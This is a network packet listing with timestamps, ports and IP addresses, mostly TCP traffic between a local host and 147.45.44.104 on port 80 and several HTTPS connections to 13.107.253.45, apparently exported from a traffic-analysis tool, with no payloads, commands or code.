Oct 7, 2024 21:18:52.825526953 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825577974 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825589895 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825623035 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825635910 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825663090 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825711012 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825743914 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825776100 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825793028 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825809002 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825823069 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825844049 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825854063 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825875998 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825910091 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825921059 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825928926 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825962067 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825995922 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.826013088 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.826026917 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.826035023 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.826062918 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.826071024 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.826107025 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.826132059 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.826178074 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.826194048 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.826226950 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.826236963 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.826260090 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.826266050 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.826292038 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.826314926 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.826344967 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831258059 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831310034 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831338882 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831362963 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831401110 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831417084 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831450939 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831470966 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831500053 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831506014 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831535101 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831567049 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831572056 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831592083 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831599951 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.831608057 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831795931 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.831969976 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832020044 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832022905 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832050085 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832067013 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832097054 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832099915 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832132101 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832146883 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832166910 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832179070 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832200050 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832215071 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832232952 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832246065 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832278013 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832297087 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832329035 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832343102 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832360983 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832374096 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832395077 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832420111 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832427979 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832436085 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832462072 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832473993 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832509041 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832621098 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832653999 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832685947 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832705021 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832719088 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832727909 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832751989 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832767963 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832784891 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832792997 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832818031 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832828999 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832850933 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832885027 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832891941 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832918882 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.832962036 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.832998037 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833030939 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833039999 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833062887 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833072901 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833096027 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833103895 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833136082 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833146095 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833177090 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833187103 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833211899 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833216906 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833244085 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833259106 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833287001 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833292961 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833324909 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833358049 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833373070 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833390951 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833404064 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833425045 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833434105 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833456993 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833468914 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833491087 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833502054 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833522081 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833533049 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833555937 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833586931 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833600998 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833635092 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833693981 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833726883 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833740950 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833760023 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833767891 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833792925 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833796978 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833827019 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833832979 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833858013 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833868027 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833892107 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833899975 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833924055 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833933115 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833960056 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.833965063 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.833986998 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.834002972 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.834028959 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.903095961 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.903160095 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.903170109 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.903196096 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.903206110 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.903239965 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.903264046 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.903297901 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.903316975 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.903332949 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.903337002 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.903374910 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.903378963 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.903414011 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906128883 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906183958 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906219006 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906245947 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906284094 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906317949 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906351089 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906363964 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906385899 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906395912 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906419039 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906440020 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906471968 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906486034 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906516075 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906531096 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906559944 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906563997 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906595945 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906609058 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906630039 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906637907 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906666994 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906681061 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906703949 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906711102 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906737089 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906747103 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906770945 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906783104 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906821012 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906863928 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906897068 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906925917 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906930923 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906944036 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.906965017 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.906975031 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907010078 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907125950 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907159090 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907181978 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907191038 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907205105 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907219887 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907238007 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907265902 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907269001 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907299995 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907316923 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907332897 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907350063 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907367945 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907380104 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907414913 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907421112 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907457113 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907469034 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907504082 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907538891 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907569885 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907584906 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907603025 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907614946 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907638073 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907650948 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907670975 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907684088 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907706022 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907718897 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907762051 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907855988 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907890081 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907915115 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907923937 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907949924 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907955885 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.907968044 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.907987118 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.908020973 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.908041000 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.908051968 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.908077002 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.908085108 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.908107996 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.908118963 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.908150911 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.908174992 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.908202887 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.913937092 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.913971901 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.914005995 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.914027929 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.914067984 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:53.067894936 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.068564892 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.068594933 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.069219112 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.069226027 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.075284004 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.075651884 CEST	49933	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.075674057 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.076049089 CEST	49933	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.076054096 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.086219072 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.086898088 CEST	49934	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.086905003 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.087270975 CEST	49934	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.087275028 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.109107971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:53.113914013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:53.167818069 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.168204069 CEST	49937	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.168214083 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.168560028 CEST	49937	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.168565989 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.173818111 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.174588919 CEST	49936	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.174652100 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.175087929 CEST	49936	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.175101995 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.180933952 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.181246996 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.181297064 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.181308031 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.181411982 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.181953907 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.181978941 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.181993961 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.182001114 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.184804916 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.184823036 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.184935093 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.184973001 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.185117006 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.185127020 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.185134888 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.185187101 CEST	49933	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.185393095 CEST	49933	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.185409069 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.185416937 CEST	49933	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.185420990 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.189157963 CEST	49939	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.189193964 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.189681053 CEST	49939	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.189805031 CEST	49939	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.189821005 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.198610067 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.199094057 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.199151993 CEST	49934	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.199167013 CEST	49934	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.199167013 CEST	49934	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.199173927 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.199178934 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.200848103 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.200922012 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.201008081 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.201116085 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.201148987 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.278461933 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.278796911 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.278852940 CEST	49937	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.280271053 CEST	49937	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.280282021 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.280291080 CEST	49937	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.280294895 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.285351992 CEST	49941	443	192.168.2.5	13.107.253.45
